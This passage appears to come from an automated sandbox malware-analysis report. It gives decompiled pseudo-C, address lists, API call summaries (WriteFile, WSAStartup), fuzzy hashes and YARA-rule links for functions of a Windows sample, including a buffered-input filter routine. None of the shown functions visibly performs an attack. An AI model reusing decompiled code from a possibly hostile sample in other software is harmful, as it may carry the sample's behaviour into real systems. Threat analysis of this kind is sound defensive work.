					 *(E0010FAB2()) =  *_t99 & _t121;
					 *((intOrPtr*)(E0010FAC5())) = 0x16;
					E0010F43B();
					goto L41;
				}
				goto L41;
			}

0x0011d3c3
0x0011d3ca
0x0011d3cd
0x0011d3d0
0x0011d3d4
0x0011d3d8
0x0011d3db
0x0011d3e0
0x0011d3e9
0x0011d3eb
0x0011d40c
0x0011d411
0x0011d417
0x0011d41a
0x0011d41d
0x0011d424
0x0011d427
0x0011d42a
0x0011d42e
0x0011d431
0x0011d438
0x0011d43a
0x0011d43c
0x0011d43e
0x0011d45d
0x0011d460
0x0011d460
0x0011d465
0x0011d46e
0x0011d473
0x0011d473
0x0011d477
0x0011d47d
0x0011d47f
0x0011d4bd
0x0011d4c4
0x0011d4c7
0x0011d4cc
0x0011d51b
0x0011d51e
0x0011d521
0x0011d52d
0x0011d533
0x0011d535
0x0011d53d
0x0011d53d
0x00000000
0x0011d540
0x0011d4d1
0x0011d4d1
0x0011d4d4
0x0011d50d
0x00000000
0x0011d50d
0x0011d4d6
0x0011d4d6
0x0011d4d9
0x0011d4fd
0x00000000
0x0011d4fd
0x0011d4db
0x0011d4de
0x00000000
0x00000000
0x0011d4ed
0x00000000
0x0011d481
0x0011d481
0x0011d483
0x0011d4b0
0x0011d4b5
0x0011d4a0
0x0011d543
0x0011d546
0x0011d547
0x0011d548
0x0011d549
0x0011d54c
0x0011d54e
0x0011d5b3
0x0011d5b6
0x0011d5b7
0x0011d5c6
0x0011d5c6
0x0011d550
0x0011d553
0x0011d555
0x0011d57b
0x0011d57e
0x0011d581
0x0011d584
0x0011d58b
0x0011d590
0x0011d59b
0x0011d5a0
0x0011d5a6
0x0011d5ab
0x0011d5ab
0x0011d5ae
0x00000000
0x0011d5ae
0x0011d592
0x0011d595
0x00000000
0x00000000
0x00000000
0x0011d597
0x0011d559
0x0011d55a
0x0011d55c
0x0011d573
0x0011d55e
0x0011d563
0x0011d56e
0x0011d56e
0x00000000
0x0011d55c
0x0011d487
0x0011d48a
0x00000000
0x00000000
0x0011d498
0x00000000
0x0011d49d
0x0011d47f
0x0011d445
0x0011d44d
0x0011d453
0x00000000
0x0011d453
0x0011d433
0x0011d436
0x00000000
0x00000000
0x00000000
0x0011d436
0x0011d3f2
0x0011d3f9
0x0011d3ff
0x00000000
0x0011d404
0x00000000

APIs

Part of subcall function 0011CF60: GetConsoleMode.KERNEL32(00000010,?), ref: 0011CFC5

Part of subcall function 0011CD40: GetConsoleCP.KERNEL32 ref: 0011CD82
Part of subcall function 0011CD40: __fassign.LIBCMT ref: 0011CDFD
Part of subcall function 0011CD40: __fassign.LIBCMT ref: 0011CE18
Part of subcall function 0011CD40: WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,?,00000005,00000000,00000000), ref: 0011CE3E
Part of subcall function 0011CD40: WriteFile.KERNEL32(?,?,00000000,0011D4B5,00000000), ref: 0011CE5D
Part of subcall function 0011CD40: WriteFile.KERNEL32(?,?,00000001,0011D4B5,00000000), ref: 0011CE96
Part of subcall function 0011CD40: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,0011D4B5,?,?,?,?,?,?), ref: 0011CED8

Part of subcall function 0011CEF3: GetLastError.KERNEL32(?,?,?,?,?,0011D49D,?,?,?,?,?,?,?,?,00000000,0016C530), ref: 0011CF4F

Part of subcall function 0011D1A3: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,?,?,00000D55,00000000,00000000,?,?,?,?,0011D502,?,?,?), ref: 0011D256
Part of subcall function 0011D1A3: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0011D284
Part of subcall function 0011D1A3: GetLastError.KERNEL32(?,0011D502,?,?,?,?,?,?,?,?,?,00000000,0016C530,00000014,0010F980,00000000), ref: 0011D2B5

Part of subcall function 0011D0B5: WriteFile.KERNEL32(00051313,?,?,?,00000000), ref: 0011D15F
Part of subcall function 0011D0B5: GetLastError.KERNEL32(?,0011D4F2,?,?,?,?,?,?,?,?,?,00000000,0016C530,00000014,0010F980,00000000), ref: 0011D188

Part of subcall function 0011CFD6: WriteFile.KERNELBASE(00051313,?,?,?,00000000), ref: 0011D071
Part of subcall function 0011CFD6: GetLastError.KERNEL32(?,0011D512,?,?,?,?,?,?,?,?,?,00000000,0016C530,00000014,0010F980,00000000), ref: 0011D09A

WriteFile.KERNEL32(00051313,?,?,?,00000000), ref: 0011D52D
GetLastError.KERNEL32 ref: 0011D537
__dosmaperr.LIBCMT ref: 0011D573

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorFileLastWrite$ByteCharConsoleMultiWide__fassign$FeatureModePresentProcessor___raise_securityfailure__dosmaperr
String ID:
API String ID: 585494540-0
Opcode ID: 39561feb35daa957e780b726269476c509f1b65ec93addf032f14fc455016ebc
Instruction ID: e68645a730fe2b981edef5b00105a13771f6f284c6ee8e3db48e6822078cc3eb
Opcode Fuzzy Hash: 39561feb35daa957e780b726269476c509f1b65ec93addf032f14fc455016ebc
Instruction Fuzzy Hash: 4251F471E0020A9FDF29DFA4E845FEE7BB5AF55314F140129F404A7692D770A981CBA1

Uniqueness

Uniqueness Score: 8.94%

Function 00051030, Relevance: 4.5, APIs: 3, Instructions: 27
networkCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E00051030(void* __eflags) {
				signed int _v8;
				signed int _t3;
				long _t8;
				signed int _t12;
				signed int _t14;
				signed int _t15;

				_t14 = (_t12 & 0xfffffff8) - 0x198;
				_t3 =  *0x16f170; // 0xd529e887
				_v8 = _t3 ^ _t14;
				E000ED2BB(__eflags, 0x1384d0);
				_t15 = _t14 + 4;
				if(InterlockedIncrement(0x17a4b8) == 1) {
					_t8 = _t15;
					__imp__#115(2, _t8); // executed
					InterlockedExchange(0x17a4bc, _t8);
				}
				return E000ECED8(_v8 ^ _t15);
			}

0x00051036
0x0005103c
0x00051043
0x0005104f
0x00051054
0x00051065
0x00051067
0x0005106d
0x00051079
0x00051079
0x00051090

APIs

Part of subcall function 000ED2BB: __onexit.LIBCMT ref: 000ED2C1

InterlockedIncrement.KERNEL32(0017A4B8), ref: 0005105C
WSAStartup.WS2_32(00000002,00000000), ref: 0005106D
InterlockedExchange.KERNEL32(0017A4BC,00000000), ref: 00051079

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Interlocked$ExchangeFeatureIncrementPresentProcessorStartup___raise_securityfailure__onexit
String ID:
API String ID: 480614849-0
Opcode ID: a59e81cad738d8115df34bab4e2e61b8b9a1dbd095fd9713657ead622af53d42
Instruction ID: 9d273c464cbf9a3d4eb1b993ccaf5bb63ce9faf5e08bf2c32fd3646f739474fc
Opcode Fuzzy Hash: a59e81cad738d8115df34bab4e2e61b8b9a1dbd095fd9713657ead622af53d42
Instruction Fuzzy Hash: A5F0E5315403004BD220AB60EC0BABE33A8FF49300FC0011DF95EC15C1EBA1544486D3

Uniqueness

Uniqueness Score: 5.06%

Function 000B2DB0, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 385
UNIQUE

Download Yara Rule

C-Code - Quality: 84%

			E000B2DB0(intOrPtr* __ecx, signed int _a4, signed int _a8, intOrPtr _a12, char _a16, intOrPtr _a20) {
				signed int _v0;
				signed int _v8;
				signed int _v12;
				char _v16;
				signed int _v20;
				void* _v24;
				signed int _v28;
				intOrPtr _v32;
				char _v44;
				char _v84;
				char _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				char _v104;
				intOrPtr* _v132;
				void* __ebx;
				void* __edi;
				signed int _t337;
				signed int _t338;
				signed int _t347;
				signed int _t349;
				intOrPtr* _t354;
				signed int _t355;
				void* _t360;
				intOrPtr _t361;
				void* _t364;
				signed int _t367;
				intOrPtr _t369;
				intOrPtr* _t372;
				signed int _t373;
				signed int _t374;
				intOrPtr _t376;
				signed int _t377;
				intOrPtr* _t378;
				signed int _t380;
				void* _t381;
				void* _t384;
				intOrPtr _t386;
				void* _t388;
				void* _t390;
				intOrPtr _t392;
				signed int _t395;
				intOrPtr _t397;
				intOrPtr* _t400;
				signed int _t403;
				signed int _t409;
				void* _t410;
				intOrPtr* _t415;
				void* _t416;
				intOrPtr _t426;
				void* _t443;
				signed int _t448;
				void* _t451;
				char _t453;
				signed int _t456;
				signed int _t459;
				intOrPtr _t464;
				void* _t492;
				signed int* _t493;
				intOrPtr _t495;
				void* _t496;
				signed int _t497;
				void* _t499;
				intOrPtr _t500;
				intOrPtr _t501;
				void* _t505;
				char _t506;
				intOrPtr _t510;
				intOrPtr* _t519;
				intOrPtr _t522;
				signed int _t523;
				signed int _t525;
				void* _t526;
				signed int _t529;
				void* _t534;
				intOrPtr _t538;
				signed int _t542;
				intOrPtr _t547;
				signed int _t556;
				intOrPtr _t566;
				signed int _t570;
				signed int _t572;
				intOrPtr _t586;
				void* _t588;
				signed int _t589;
				intOrPtr _t591;
				intOrPtr _t599;
				signed int _t602;
				void* _t604;
				signed int _t605;
				intOrPtr _t607;
				void* _t613;
				signed int _t615;
				signed int _t617;
				intOrPtr _t618;
				signed int _t620;
				intOrPtr _t621;
				signed int _t623;
				signed int _t624;
				void* _t626;
				intOrPtr _t634;
				intOrPtr _t635;
				signed int _t636;
				intOrPtr* _t639;
				void* _t643;
				void* _t645;
				signed int _t648;
				signed int _t651;
				signed int _t652;
				void* _t656;
				char _t660;
				void* _t663;
				intOrPtr _t665;
				intOrPtr _t666;
				intOrPtr _t667;
				intOrPtr _t670;
				intOrPtr* _t674;
				intOrPtr* _t675;
				signed int _t678;
				signed int _t683;
				void* _t685;
				void* _t686;

				_push(0xffffffff);
				_push(0x134e10);
				_push( *[fs:0x0]);
				_t686 = _t685 - 0x58;
				_t337 =  *0x16f170; // 0xd529e887
				_t338 = _t337 ^ _t683;
				_v20 = _t338;
				_push(_t492);
				_push(_t643);
				_push(_t338);
				 *[fs:0x0] =  &_v16;
				_t674 = __ecx;
				_t340 = _a4;
				_v92 = _a4;
				if(_a16 == 0) {
					E00064B00( &_v44, "FilterWithBufferedInput");
					_v8 = 0;
					_t519 =  &_v84;
					E000B0C10(_t492, _t519, _t613, _t643,  &_v44);
					E001047B7( &_v84, 0x167df4);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t683);
					_push(_t674);
					_t675 = _t519;
					_v132 = _t675;
					__eflags =  *((char*)(_t675 + 0x18));
					if( *((char*)(_t675 + 0x18)) != 0) {
						_push(_t492);
						_push(_t643);
						_t347 =  *(_t675 + 0x14);
						__eflags = _t347;
						if(_t347 == 0) {
							_t493 = _t675 + 0x54;
							 *((intOrPtr*)(_t675 + 0x50)) = _v0;
							_t349 = _a4;
							 *(_t675 + 0x10) = 0;
							goto L59;
						} else {
							_t403 = _t347 - 1;
							__eflags = _t403;
							if(_t403 == 0) {
								goto L75;
							} else {
								__eflags = _t403 != 1;
								if(_t403 != 1) {
									L62:
									__eflags = 0;
									return 0;
								} else {
									L55:
									_t493 = _t675 + 0x54;
									_v0 =  *(_t675 + 0x54);
									_t645 = _a8 - 1;
									_a4 =  *((intOrPtr*)(_t675 + 0x50));
									_t354 =  *((intOrPtr*)( *((intOrPtr*)( *_t675 + 0xa8))))();
									__eflags = _a16;
									_push(_a12);
									_t522 =  *_t354;
									if(_a16 == 0) {
										_t523 = _a8;
										__eflags = _t523;
										_t646 =  ==  ? _t523 : _t645;
										_t355 =  *((intOrPtr*)( *((intOrPtr*)(_t522 + 0x8c))))(0x16f03c, _a4, _v0,  ==  ? _t523 : _t645);
										_t615 = _t355;
									} else {
										_t570 = _a8;
										__eflags = _t570;
										_t655 =  ==  ? _t570 : _t645;
										_t355 =  *((intOrPtr*)( *((intOrPtr*)(_t522 + 0x90))))(0x16f03c, _a4, _v0,  ==  ? _t570 : _t645);
										_t615 = _t355;
									}
									asm("sbb eax, eax");
									 *(_t675 + 0x14) =  ~_t355 & 0x00000002;
									_t525 =  *_t493;
									__eflags = _t615;
									if(_t615 != 0) {
										L131:
										_t526 = _t525 -  *(_t675 + 0x10);
										__eflags = _t526 - 1;
										_t359 =  >  ? _t526 : 1;
										return  >  ? _t526 : 1;
									} else {
										 *((intOrPtr*)(_t675 + 0x20)) =  *((intOrPtr*)(_t675 + 0x20)) + _t525;
										 *_t493 = _t615;
										asm("adc [esi+0x24], edx");
										 *((intOrPtr*)(_t675 + 0x28)) =  *((intOrPtr*)(_t675 + 0x28)) + _t525;
										asm("adc [esi+0x2c], edx");
										_t349 = 0;
										__eflags = _a8;
										if(_a8 != 0) {
											 *((intOrPtr*)(_t675 + 0x30)) =  *((intOrPtr*)(_t675 + 0x30)) + 1;
											 *((intOrPtr*)(_t675 + 0x34)) =  *((intOrPtr*)(_t675 + 0x34)) + 1;
											 *((intOrPtr*)(_t675 + 0x20)) = 0;
											 *(_t675 + 0x24) = 0;
											_a8 = 0;
										}
										L60:
										__eflags = _t349;
										if(_t349 != 0) {
											__eflags =  *(_t675 + 0x4c);
											if( *(_t675 + 0x4c) == 0) {
												goto L55;
											} else {
												_t617 =  *(_t675 + 0x3c);
												_t648 = _t675 + 0x3c;
												__eflags = _t617;
												if(_t617 != 0) {
													_t360 =  *_t617;
												} else {
													_t360 = 0;
												}
												_t361 =  *((intOrPtr*)(_t360 + 4));
												_t529 =  *((intOrPtr*)(_t360 + 8)) - 0x00000001 &  *(_t648 + 0xc);
												__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t361 + _t529 * 4)))) -  *((intOrPtr*)(_t675 + 0x34));
												if( *((intOrPtr*)( *((intOrPtr*)(_t361 + _t529 * 4)))) !=  *((intOrPtr*)(_t675 + 0x34))) {
													goto L55;
												} else {
													__eflags = _t648;
													if(_t648 == 0) {
														L71:
														_t364 = 0;
														__eflags = 0;
													} else {
														__eflags = _t617;
														if(_t617 == 0) {
															goto L71;
														} else {
															_t364 =  *_t617;
														}
													}
													_t618 =  *((intOrPtr*)( *((intOrPtr*)(_t364 + 4)) + ( *((intOrPtr*)(_t364 + 8)) - 0x00000001 &  *(_t648 + 0xc)) * 4));
													_t534 =  *_t493 +  *((intOrPtr*)(_t675 + 0x20));
													asm("adc eax, [esi+0x24]");
													__eflags = 0 -  *((intOrPtr*)(_t618 + 0xc));
													if(__eflags < 0) {
														goto L55;
													} else {
														if(__eflags > 0) {
															L75:
															__eflags = _a16;
															_t367 =  *(_t675 + 0x3c);
															if(_a16 == 0) {
																__eflags = _t367;
																if(_t367 != 0) {
																	_t367 =  *_t367;
																}
																_t369 =  *((intOrPtr*)( *((intOrPtr*)(_t367 + 4)) + ( *((intOrPtr*)(_t367 + 8)) - 0x00000001 &  *(_t675 + 0x48)) * 4));
																_t538 =  *((intOrPtr*)(_t675 + 0x20));
																_t495 =  *((intOrPtr*)(_t369 + 8));
																__eflags =  *((intOrPtr*)(_t369 + 0xc)) -  *(_t675 + 0x24);
																if(__eflags < 0) {
																	L90:
																	_t496 = 0;
																	__eflags = 0;
																} else {
																	if(__eflags > 0) {
																		L89:
																		_t496 = _t495 - _t538;
																	} else {
																		__eflags = _t495 - _t538;
																		if(_t495 <= _t538) {
																			goto L90;
																		} else {
																			goto L89;
																		}
																	}
																}
																_t372 =  *((intOrPtr*)( *_t675 + 0xa8))();
																_t373 =  *((intOrPtr*)( *((intOrPtr*)( *_t372 + 0x8c))))(0x16f03c,  *((intOrPtr*)(_t675 + 0x50)), _t496, 0, _a12);
																_t542 = 0;
																_t620 = _t373;
																__eflags = _t373;
															} else {
																__eflags = _t367;
																if(_t367 != 0) {
																	_t367 =  *_t367;
																}
																_t397 =  *((intOrPtr*)( *((intOrPtr*)(_t367 + 4)) + ( *((intOrPtr*)(_t367 + 8)) - 0x00000001 &  *(_t675 + 0x48)) * 4));
																_t566 =  *((intOrPtr*)(_t675 + 0x20));
																_t501 =  *((intOrPtr*)(_t397 + 8));
																__eflags =  *((intOrPtr*)(_t397 + 0xc)) -  *(_t675 + 0x24);
																if(__eflags < 0) {
																	L82:
																	_t496 = 0;
																	__eflags = 0;
																} else {
																	if(__eflags > 0) {
																		L81:
																		_t496 = _t501 - _t566;
																	} else {
																		__eflags = _t501 - _t566;
																		if(_t501 <= _t566) {
																			goto L82;
																		} else {
																			goto L81;
																		}
																	}
																}
																_t400 =  *((intOrPtr*)( *_t675 + 0xa8))();
																_t620 =  *((intOrPtr*)( *((intOrPtr*)( *_t400 + 0x90))))(0x16f03c,  *((intOrPtr*)(_t675 + 0x50)), _t496, 0, _a12);
																_t542 = 0;
																__eflags = _t620;
															}
															 *(_t675 + 0x14) = _t542 & 0xffffff00 | __eflags != 0x00000000;
															__eflags = _t620;
															if(_t620 != 0) {
																_t374 =  *(_t675 + 0x3c);
																__eflags = _t374;
																if(_t374 != 0) {
																	_t374 =  *_t374;
																}
																_t621 =  *((intOrPtr*)(_t675 + 0x20));
																_t376 =  *((intOrPtr*)( *((intOrPtr*)(_t374 + 4)) + ( *((intOrPtr*)(_t374 + 8)) - 0x00000001 &  *(_t675 + 0x48)) * 4));
																_t547 =  *((intOrPtr*)(_t376 + 8));
																_t377 =  *((intOrPtr*)(_t376 + 0xc));
																__eflags = _t377 -  *(_t675 + 0x24);
																if(__eflags < 0) {
																	L130:
																	asm("xorps xmm0, xmm0");
																	asm("movlpd [ebp-0x10], xmm0");
																	_t525 = _v24;
																} else {
																	if(__eflags > 0) {
																		L129:
																		_t525 = _t547 - _t621;
																		asm("sbb eax, edi");
																		_v20 = _t377;
																	} else {
																		__eflags = _t547 - _t621;
																		if(_t547 <= _t621) {
																			goto L130;
																		} else {
																			goto L129;
																		}
																	}
																}
																goto L131;
															} else {
																_t378 = _t675 + 0x54;
																 *((intOrPtr*)(_t675 + 0x50)) =  *((intOrPtr*)(_t675 + 0x50)) + _t496;
																_t651 = _t675 + 0x3c;
																_t623 =  *(_t675 + 0x54) - _t496;
																_v20 = _t378;
																 *_t378 = _t623;
																_t380 = _t496 +  *((intOrPtr*)(_t675 + 0x20));
																 *((intOrPtr*)(_t675 + 0x20)) = _t380;
																asm("adc ecx, [esi+0x24]");
																 *((intOrPtr*)(_t675 + 0x28)) =  *((intOrPtr*)(_t675 + 0x28)) + _t496;
																 *(_t675 + 0x24) = 0;
																asm("adc dword [esi+0x2c], 0x0");
																_t497 =  *_t651;
																_t678 =  *(_t651 + 0xc);
																_a4 = _t380;
																_v12 = 0;
																__eflags = _t497;
																if(_t497 != 0) {
																	_t381 =  *_t497;
																} else {
																	_t381 = 0;
																}
																_v0 =  *((intOrPtr*)( *((intOrPtr*)(_t381 + 4)) + ( *((intOrPtr*)(_t381 + 8)) - 0x00000001 & _t678) * 4));
																__eflags = _t651;
																if(_t651 == 0) {
																	L99:
																	_t384 = 0;
																	__eflags = 0;
																	_t652 = _t497;
																} else {
																	_t652 = _t497;
																	__eflags = _t497;
																	if(_t497 == 0) {
																		goto L99;
																	} else {
																		_t384 =  *_t497;
																	}
																}
																_v0 = _t623;
																_t386 =  *((intOrPtr*)( *((intOrPtr*)(_t384 + 4)) + ( *((intOrPtr*)(_t384 + 8)) - 0x00000001 & _t678) * 4));
																_t499 =  *((intOrPtr*)(_t386 + 0x10)) +  *((intOrPtr*)(_v0 + 8));
																asm("adc ecx, [esi+0xc]");
																_v0 = _v0 + _a4;
																_t675 = _v16;
																asm("adc eax, [ebp-0x4]");
																__eflags = 0 -  *((intOrPtr*)(_t386 + 0x14));
																if(__eflags > 0) {
																	L103:
																	_t624 = _t675 + 0x3c;
																	_t556 = _t652;
																	__eflags = _t624;
																	if(_t624 == 0) {
																		L106:
																		_t388 = 0;
																		__eflags = 0;
																		_t652 = _t556;
																	} else {
																		__eflags = _t652;
																		if(_t652 == 0) {
																			goto L106;
																		} else {
																			_t388 =  *_t652;
																		}
																	}
																	_t500 =  *((intOrPtr*)( *((intOrPtr*)(_t388 + 4)) + ( *((intOrPtr*)(_t388 + 8)) - 0x00000001 &  *(_t624 + 0xc)) * 4));
																	__eflags = _t624;
																	if(_t624 == 0) {
																		L110:
																		_t390 = 0;
																		__eflags = 0;
																	} else {
																		__eflags = _t652;
																		if(_t652 == 0) {
																			goto L110;
																		} else {
																			_t390 =  *_t652;
																		}
																	}
																	_t392 =  *((intOrPtr*)( *((intOrPtr*)(_t390 + 4)) + ( *((intOrPtr*)(_t390 + 8)) - 0x00000001 &  *(_t624 + 0xc)) * 4));
																	_t626 =  *((intOrPtr*)(_t392 + 0x10)) +  *((intOrPtr*)(_t500 + 8));
																	asm("adc eax, [ebx+0xc]");
																	__eflags =  *((intOrPtr*)(_t392 + 0x14)) - _v12;
																	if(__eflags < 0) {
																		L115:
																		_t623 = 0;
																		__eflags = 0;
																	} else {
																		_t395 = _a4;
																		if(__eflags > 0) {
																			L114:
																			_t623 = _t626 - _t395;
																		} else {
																			__eflags = _t626 - _t395;
																			if(_t626 <= _t395) {
																				goto L115;
																			} else {
																				goto L114;
																			}
																		}
																	}
																	_t294 = _t675 + 0x4c;
																	 *_t294 =  *(_t675 + 0x4c) + 0xffffffff;
																	__eflags =  *_t294;
																	if( *_t294 != 0) {
																		_t297 = _t675 + 0x48;
																		 *_t297 =  *(_t675 + 0x48) + 1;
																		__eflags =  *_t297;
																	} else {
																		 *(_t675 + 0x48) = 0;
																	}
																} else {
																	if(__eflags >= 0) {
																		__eflags = _v0 - _t499;
																		if(_v0 >= _t499) {
																			goto L103;
																		}
																	}
																}
																_t493 = _v20;
																 *((intOrPtr*)(_t675 + 0x50)) =  *((intOrPtr*)(_t675 + 0x50)) + _t623;
																_t349 =  *_t493 - _t623;
																 *((intOrPtr*)(_t675 + 0x20)) =  *((intOrPtr*)(_t675 + 0x20)) + _t623;
																asm("adc dword [esi+0x24], 0x0");
																 *((intOrPtr*)(_t675 + 0x28)) =  *((intOrPtr*)(_t675 + 0x28)) + _t623;
																asm("adc dword [esi+0x2c], 0x0");
																L59:
																 *_t493 = _t349;
																goto L60;
															}
														} else {
															__eflags = _t534 -  *((intOrPtr*)(_t618 + 8));
															if(_t534 <=  *((intOrPtr*)(_t618 + 8))) {
																goto L55;
															} else {
																goto L75;
															}
														}
													}
												}
											}
										} else {
											__eflags = _a8 - _t349;
											if(_a8 != _t349) {
												goto L55;
											} else {
												goto L62;
											}
										}
									}
								}
							}
						}
					} else {
						__eflags = 0;
						return 0;
					}
				} else {
					_t572 = _a8;
					if(_t572 == 0) {
						_t656 = __ecx + 0x28;
					} else {
						_t634 =  *((intOrPtr*)(__ecx + 0x40));
						_t506 = _t634 + _t572;
						_v88 = _t506;
						if( *((char*)(__ecx + 0x24)) != 0) {
							L5:
							_t660 =  *((intOrPtr*)(_t674 + 0x1c));
							if(_t660 != 1) {
								_t591 =  *((intOrPtr*)(_t674 + 0x20));
								__eflags = _t506 - _t591 + _t660;
								if(_t506 >= _t591 + _t660) {
									_t453 = _t660;
									_v88 = _t453;
									while(1) {
										_t636 =  *(_t674 + 0x40);
										_t660 = _t453;
										__eflags = _t636 - _t453;
										if(_t636 < _t453) {
											break;
										}
										_t665 =  *((intOrPtr*)(_t674 + 0x38));
										_v104 =  *((intOrPtr*)( *_t674 + 0xe4));
										__eflags = _t636 - _t665;
										if(_t636 < _t665) {
											_t456 = 0;
											__eflags = 0;
										} else {
											_t459 =  *((intOrPtr*)(_t674 + 0x44));
											_v100 = _t459;
											_t599 = _t459 + _t665;
											 *((intOrPtr*)(_t674 + 0x44)) = _t599;
											_v96 =  *((intOrPtr*)(_t674 + 0x34));
											__eflags = _t599 -  *((intOrPtr*)(_t674 + 0x30)) + _v96;
											if(_t599 ==  *((intOrPtr*)(_t674 + 0x30)) + _v96) {
												 *((intOrPtr*)(_t674 + 0x44)) = _v96;
											}
											_t456 = _v100;
											 *(_t674 + 0x40) = _t636 - _t665;
										}
										_v104(_t456, _v88);
										_t660 =  *((intOrPtr*)(_t674 + 0x1c));
										_t506 = _t506 - _t660;
										_t591 =  *((intOrPtr*)(_t674 + 0x20));
										_v88 = _t660;
										__eflags = _t506 - _t591 + _t660;
										_t453 = _t660;
										if(_t506 >= _t591 + _t660) {
											continue;
										}
										break;
									}
									_v88 = _t506;
								}
								_t635 = _t660;
								__eflags = _t506 - _t660 + _t591;
								if(_t506 < _t660 + _t591) {
									L28:
									_t661 = _t674 + 0x1c;
								} else {
									_t448 =  *(_t674 + 0x40);
									__eflags = _t448;
									if(_t448 == 0) {
										goto L28;
									} else {
										_t510 = _v92;
										_t663 = _t660 - _t448;
										E000B2D20(_t674 + 0x28, _t510, _t663);
										_v92 = _t510 + _t663;
										_t451 = E000B1A70(_t674 + 0x28);
										 *((intOrPtr*)( *((intOrPtr*)( *_t674 + 0xe4))))(_t451,  *((intOrPtr*)(_t674 + 0x1c)));
										_t661 = _t674 + 0x1c;
										_t635 =  *((intOrPtr*)(_t674 + 0x1c));
										_t506 = _v88 - _t635;
										_t591 =  *((intOrPtr*)(_t674 + 0x20));
									}
								}
								__eflags = _t506 - _t635 + _t591;
								if(_t506 < _t635 + _t591) {
									goto L31;
								} else {
									_v104 = _t506 - _t591;
									_t443 = E000B0B40( &_v104, _t661);
									_t686 = _t686 + 8;
									E000B2860(_t674, _v92, _t443, _a20); // executed
									_t656 = _t674 + 0x28;
									E000B2D20(_t656, _v92 + _t443, _t506 - _t443 -  *(_t674 + 0x40));
								}
							} else {
								_t666 =  *((intOrPtr*)(_t674 + 0x20));
								if(_t506 <= _t666) {
									L31:
									_t340 = _v92;
									goto L32;
								} else {
									_t464 = _t666;
									while(1) {
										_t667 = _t464;
										if( *(_t674 + 0x40) <= 0) {
											break;
										}
										_t602 =  *((intOrPtr*)(_t674 + 0x44));
										_t639 = _t674 + 0x40;
										_v100 = _t602;
										_v88 = _t506 - _t464;
										_v96 =  *((intOrPtr*)(_t674 + 0x34)) +  *((intOrPtr*)(_t674 + 0x30)) - _t602;
										_t604 =  <  ? _t639 :  &_v96;
										_t473 =  <  ? _t604 :  &_v88;
										_t605 = _v100;
										_t670 =  *((intOrPtr*)( <  ? _t604 :  &_v88));
										 *_t639 =  *_t639 - _t670;
										 *((intOrPtr*)(_t674 + 0x44)) = _t670 + _t605;
										if( *_t639 == 0 || _t670 + _t605 ==  *((intOrPtr*)(_t674 + 0x34)) +  *((intOrPtr*)(_t674 + 0x30))) {
											 *((intOrPtr*)(_t674 + 0x44)) =  *((intOrPtr*)(_t674 + 0x34));
										}
										 *((intOrPtr*)( *_t674 + 0xe4))(_t605, _t670);
										_t506 = _t506 - _t670;
										_t667 =  *((intOrPtr*)(_t674 + 0x20));
										_t464 = _t667;
										if(_t506 > _t667) {
											continue;
										}
										break;
									}
									if(_t506 <= _t667) {
										goto L31;
									} else {
										E000B2860(_t674, _v92, _t506 - _t667, _a20);
										_t656 = _t674 + 0x28;
										E000B2D20(_t656, _v92 + _t506 - _t667, _t667 -  *(_t674 + 0x40));
									}
								}
							}
						} else {
							_t607 =  *((intOrPtr*)(__ecx + 0x18));
							if(_t506 < _t607) {
								L32:
								_t656 = _t674 + 0x28;
								E000B2D20(_t656, _t340, _t506 -  *(_t674 + 0x40));
							} else {
								_v96 = _t607 - _t634;
								E000B2D20(__ecx + 0x28, _t340, _t607 - _t634);
								_push(E000B1AC0(__ecx + 0x28, __ecx + 0x18));
								 *((intOrPtr*)( *((intOrPtr*)( *__ecx + 0xd8))))();
								E000B3640(__ecx + 0x28,  *(__ecx + 0x1c), ( *((intOrPtr*)(__ecx + 0x20)) +  *(__ecx + 0x1c) * 2 + 0xfffffffe) /  *(__ecx + 0x1c));
								_t506 = _t506 -  *((intOrPtr*)(_t674 + 0x18));
								_v92 = _v92 + _v96;
								_v88 = _t506;
								 *((char*)(_t674 + 0x24)) = 1;
								goto L5;
							}
						}
					}
					if(_a12 != 0) {
						if( *((char*)(_t674 + 0x24)) == 0 &&  *((intOrPtr*)(_t674 + 0x18)) == 0) {
							 *((intOrPtr*)( *_t674 + 0xd8))(0);
						}
						_t409 =  *(_t674 + 0x40);
						_v96 = _t409;
						_v32 = 0xffffffff;
						_v28 = _t409;
						if(_t409 != 0) {
							_t410 = E000B3DE0(_t656, __eflags, _t409);
							_t686 = _t686 + 4;
							_t505 = _t410;
						} else {
							_t505 = 0;
						}
						_v24 = _t505;
						_v8 = 2;
						if(_t505 != 0) {
							_t586 =  *((intOrPtr*)(_t656 + 0x1c));
